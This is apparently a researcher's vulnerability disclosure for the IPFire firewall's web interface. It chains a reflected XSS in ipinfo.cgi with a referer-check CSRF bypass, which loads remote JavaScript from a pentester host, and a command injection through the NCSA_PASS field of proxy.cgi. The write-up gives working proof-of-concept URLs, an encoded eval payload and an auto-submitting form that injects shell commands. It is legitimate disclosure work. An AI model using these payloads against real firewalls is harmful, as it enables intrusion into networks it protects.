After months (years?) without analyzing any Linux routers \/ firewalls distributions like pfSense<\/a>,\u00a0m0n0wall<\/a>, IPCop<\/a>, SmoothWall<\/a>\u00a0or\u00a0ZeroShell<\/a>, I wish to test more thoroughly the IPCop fork : IPFire.<\/p>\n IPFire has two main branches, 2.17 and 2.19 (the version 3 is still in beta). IPFire is a fork of IPCop, and most of the appliances<\/a> come equipped with the distribution of high quality.<\/p>\n IPFire allows to establish a demilitarized zone, use DNS, DHCP, NTP, proxy, all with a strong security. Originally, this distribution is a fork of the project IPCop, itself a fork of Smoothwall. However, since the IPCop\u00a0new 2.x branch, \u00a0the projects are developed independently.<\/p>\n IPFire is intended to protect small infrastructures individuals or SMEs. It can work with a small hardware configuration and exploit the\u00a0principle of colored networks for functional safety architecture:<\/p>\n IPFire is configured by WebGUI accessible by HTTPS (Perl \/ CGI scripts on port 444<\/strong>) or via a SSH terminal. The latest version is May 02, 2016 (correcting these vulnerabilities), namely 2.19 Core Update 101.<\/p>\n To follow the various analyzes such firewall \/ router solutions, I test\u00a0the solution of IPFire after using it in my own network. Few vulnerabilities<\/a> of IPFire already identified, I wanted to dig this distribution.<\/p>\n Well it is very robust and truly complete, however, it was possible for me to use one of its weaknesses to obtain a complete remote reverse-shell<\/a><\/em> .<\/p>\n My interest has focused on the code of the WebGUI, written entirely in Perl \/ CGI. These interfaces are generally the main attack\u00a0vector of a system. Although I have not done a complete pentest of the solution, some attack vectors have been detected to support my point.<\/p>\n The WebGUI is made from\u00a0many Perl \/ CGI scripts. To connect, IPFire is listening on an HTTPS port 444<\/strong>.<\/p>\n Authentication is done by Basic Auth system with the “admin” account (the root account is only\u00a0exploitable via SSH).<\/p>\n A mechanism to protect the solution from CSRF<\/a>\u00a0attacks is present. IPFire checks on all pages the presence of the HTTP header “referer”. If this header is not present or is not set to the URL of IPFire itself, the page loads but no POST parameters are processed.<\/p>\n The WebGUI makes several calls to Perl’s system()<\/a>\u00a0functions to apply the configuration on\u00a0the distribution. Most calls to the system() are properly secured. This function takes 1 to N argument(s). The first is mandatory, and the following N being the parameters of the command to execute. When a parameter of the\u00a0command is variable, it should not be included in the chain of the first argument, but among those who follow. Indeed, the arguments after the first are processed automatically to avoid injections:<\/p>\n IPFire properly manage this principle throughout its source code, except for rare exceptions, including one that allowed the exploitation …<\/p>\n The \/srv\/web\/ipfire\/cgi-bin\/ipinfo.cgi file lets you run a whois on an arbitrary IP through the WebGUI. The value passed is checked before being tested. However, it is re-displayed in the page. This display is produced by the line 87:<\/p>\n Note that the code of this file, especially the vulnerable instruction above is inherited from IPCop which IPFire is a fork. In my IPCop vulnerabilities submission in 2014, this gap had been fixed, but it does not appear that this correction is present in\u00a0IPFire.<\/p>\n The data are not sufficiently cleaned. Indeed, when transmits a canonical XSS vector as:<\/p>\n The only protection applied is the client browser native URLEncode. In other words, this injection\u00a0doesn’t work\u00a0on Chrome nor Firefox, but on IE:<\/p>\n Canonical RXSS alert IPFire<\/p><\/div>\n PoC :<\/p>\n IPFire (as IPCop) is protected against CSRF attacks by checking the referrer of each requests. Thus, it is not possible to automate direct CSRF, which fullfill\u00a0\/ send a specific form in IPFire.<\/p>\n However, there is\u00a0a reflected\u00a0XSS vulnerability in GET. And although it may seems trivial and unnecessary, this vulnerability will be of great help.<\/p>\n The idea is to use the GET XSS to inject JavaScript code into IPFire. As IPFire only blocks the POST data if the referer is not valid and that our XSS injection transiting via GET data, then our JS code runs well in IPFire (see previous paragraph). Thus, to perform a POST request with a valid referer in IPFire, it is necessary to follow these steps:.<\/p>\n To prove my words, here is one possible scenario. The pentester defined a JS script on a web server that belongs to him, accessible by IPFire: https:\/\/<PENTESTER_WEBSITE>\/x.js where x.js can be:<\/p>\n This JavaScript code will be executed in the context of IPFire and performs the following actions:<\/p>\n Now we can\u00a0exploit the XSS GET presented above to load that file http:\/\/<PENTESTER_WEBSITE>\/x.js directly in the context of IPFire. This file is loaded via the following instructions:<\/p>\n IPFire only cleans (sanitize) certain characters, such as semicolons (;). Thus, it is necessary to escape via the JavaScript escape() function the\u00a0whole payload\u00a0(use this converter<\/a>):<\/p>\n Finally, having encoded injection, the final GET XSS syntax is generated to add\u00a0decoding (unescape()<\/a>) on the fly and to evaluate the payload eval()<\/a>) in the context of the IPFire page:<\/p>\n These vectors are only compatible with IE due to other URLEncode native browser, cf. first paragraph.<\/p>\n X.js arbitrary file loaded on the fly via XSS will therefore allow us to perform any type of request (GET \/ POST) to any page of IPFire, and that, in the context of IPFire with a referer valid.<\/p>\n The \/srv\/web\/ipfire\/cgi-bin\/proxy.cgi file is vulnerable to arbitrary shell command injection. Indeed, the\u00a0line 4137 uses the syntax of the Perl system() function to execute a shell command by concatenating variable data directly in the command:<\/p>\n The variable $str_pass is transmitted by POST data to the page (so in a context with a valid referer), and it is not cleaned. It is possible to change this variable to chain shell commands within the vulnerable perl statement. The name of the POST variables to define this variable are “NCSA_PASS” and “NCSA_PASS_CONFIRM” (which must be of equal value).<\/p>\n To chain shell commands, the delimiters “&&”, “;” Or “||” are commonly used in Unix environments. However, in the case of IPFire, the characters “&&” and “;” are not included in the injections, they are not usable. The only alternative is the “LOGICAL OR” via “|| “. For a command that follows this “||” is executed, it is necessary that the command that precedes returns “false” (or sequential logic). Thus the binary \/usr\/sbin\/htpasswd should return an error code. This can be done by simply executing the command\u00a0without specifying a password. The following injection follows:<\/p>\n Thus, the following functional PoC works\u00a0to create an “x” file in \/tmp; while\u00a0the referer is valid:<\/p>\n Note<\/strong>: The value of the “ACTION” field must be set according to the current language of IPFire. In this example, IPFire is configured in French.<\/p>\n Following a brief presentation of the three techniques above (GET XSS, CSRF protection bypass and finally RCE), see in detail a complete PoC that provides an interactive reverse-shell on IPFire. To obtain such a shell, the combined use of the preceding vulnerabilities is necessary.<\/p>\n\n
Analysis of the solution<\/h2>\n
General remarks on the WebGUI<\/h3>\n
system('\/usr\/bin\/touch $x'); \/\/ RCE exploitable if $x == 'x && cat \/etc\/passwd';\r\nsystem('\/usr\/bin\/touch', $x); \/\/ injection auto-protected<\/pre>\nXSS reflected in\u00a0GET<\/span><\/h3>\n
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);<\/pre>\n<script>alert('XSS_by_Yann_CAM')<\/script><\/pre>\n![\"Canonical](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20160403-IPFire_2.17_RXSS003-300x137.png\")
<\/a>https:\/\/<IPFire>:444\/cgi-bin\/ipinfo.cgi?<script>alert(\/RXSS-Yann_CAM_-_Security_Consultant_@ASafety_-_SYNETIS\/)<\/script><\/pre>\n
Bypass CSRF protection via the referer<\/h3>\n
\n
var headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'http:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq);\r\nfunction loadX(){ \/\/ AJAX CSRF bypass referer checking !\r\n $.ajax({\r\n type: 'POST',\r\n url: \"https:\/\/<IPFire_IP>:444\/cgi-bin\/<TARGETED_PAGE>\",\r\n contentType: 'application\/x-www-form-urlencoded;charset=utf-8',\r\n dataType: 'text',\r\n data: '<YOUR_DATA>'\r\n }); \/\/ payload of your choice\r\n }\r\nsetTimeout(\"loadX()\",2000);<\/pre>\n\n
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text\/javascript';script.src= 'http:\/\/<PENTESTER_WEBSITE>\/x.js';head.appendChild(script);<\/pre>\n%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09<\/pre>\n
https:\/\/<IPFire_IP>:8443\/cgi-bin\/ipinfo.cgi?<script>eval(unescape(\"%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09\"))<\/script><\/pre>\n
Remote Command Execution<\/span><\/h3>\n
system(\"\/usr\/sbin\/htpasswd -b $userdb $str_user $str_pass\");<\/pre>\n
\/usr\/sbin\/htpasswd -b $userdb $str_user\u00a0|| arbitrarily command<\/pre>\n
<html>\r\n <body>\r\n <form name='x' action='https:\/\/<IPFire_IP>:444\/cgi-bin\/proxy.cgi' method='post'>\r\n <input type='hidden' name='NCSA_PASS' value='||touch \/tmp\/x;#' \/>\r\n <input type='hidden' name='NCSA_PASS_CONFIRM' value='||touch \/tmp\/x;#' \/>\r\n <input type='hidden' name='NCSA_USERNAME' value='yanncam' \/>\r\n <input type='hidden' name='ACTION' value='Ajouter' \/>\r\n <\/form>\r\n <script>document.forms['x'].submit();<\/script>\r\n <\/body>\r\n<\/html><\/pre>\n
From an XSS to CSRF to finally gain a full RCE (reverse-shell)<\/span><\/h2>\n
The general scenario<\/h3>\n
\n
Preliminary notes<\/h3>\n